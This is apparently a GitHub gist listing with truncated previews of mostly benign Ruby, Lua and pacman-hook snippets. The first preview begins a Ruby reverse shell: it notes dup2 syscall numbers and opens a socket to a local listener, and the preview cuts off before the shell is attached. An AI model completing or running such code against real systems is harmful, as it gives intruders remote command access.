This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# syscall 33 = dup2 on 64-bit Linux | |
# syscall 63 = dup2 on 32-bit Linux | |
# test with nc -lvp 1337 | |
require 'socket' | |
s = Socket.new 2,1 | |
s.connect Socket.sockaddr_in 1337, '127.0.0.1' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://github.com/atemerev/skynet | |
module Skynet | |
module_function | |
def make_fiber(num, size, div) | |
Fiber.new do | |
Fiber.yield(num) if size == 1 | |
fibers = (0...div).map do |i| | |
sub = num + i * (size / div) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# save this peice of code in your ~/.irbrc | |
module Reline | |
DUMMY = ->() { | |
# autocomplete | |
return nil unless config.autocompletion | |
if just_cursor_moving and completion_journey_data.nil? | |
# Auto complete starts only when edited | |
return nil | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# frozen_string_literal: true | |
abort 'MJIT needs to be enabled' unless RubyVM::MJIT.enabled? | |
# make private constants available at top-level | |
# | |
constants = | |
Symbol.all_symbols.select do | |
RubyVM::MJIT.private_constant _1 rescue next | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'fiddle' | |
module Kernel | |
fname = 'rb_gv_get' | |
if Fiddle::Handle::DEFAULT.sym_defined?(fname) | |
sym = Fiddle::Handle::DEFAULT.sym(fname) | |
fun = Fiddle::Function.new(sym, [:const_string], :voidp, name: fname) | |
define_method(fname, &fun) | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'optparse' | |
Arguments = Struct.new(:copies, :filename) | |
arguments = Arguments.new | |
options = ARGV.options do |opt| | |
opt.banner = "usage: #{opt.program_name} [options] <input file>" | |
opt.on '--copies=n', 'Number of copies', &:to_i | |
opt.on '-h', '--help', 'Displays this usage screen' do | |
puts opt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Trigger] | |
Operation = Upgrade | |
Type = Package | |
Target = pacman-mirrorlist | |
[Action] | |
Description = Updating pacman-mirrorlist with reflector and removing pacnew... | |
When = PostTransaction | |
Depends = reflector | |
Exec = /bin/sh -c "reflector --protocol https --country 'United Kingdom' --score 10 --sort rate --save /etc/pacman.d/mirrorlist; rm -f /etc/pacman.d/mirrorlist.pacnew" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env lua | |
local std = require'posix.unistd' | |
local sio = require'posix.stdio' | |
local rd, wr = std.pipe() | |
std.write(wr, "foo\nbar\nbaz\nfood") | |
std.close(wr) | |
local file = sio.fdopen(rd, 'r') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'fiddle' | |
include Fiddle | |
# Fiddle v:1.0.1 | |
setlocale = Function.new( | |
Handle['setlocale'], | |
[ | |
:int, | |
:const_string |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'fiddle/import' | |
include Fiddle::Importer | |
# Fiddle v:1.0.1 | |
dlload | |
typealias 'VALUE', 'unsigned long long' | |
RBasic = struct [ | |
'VALUE flags', |
NewerOlder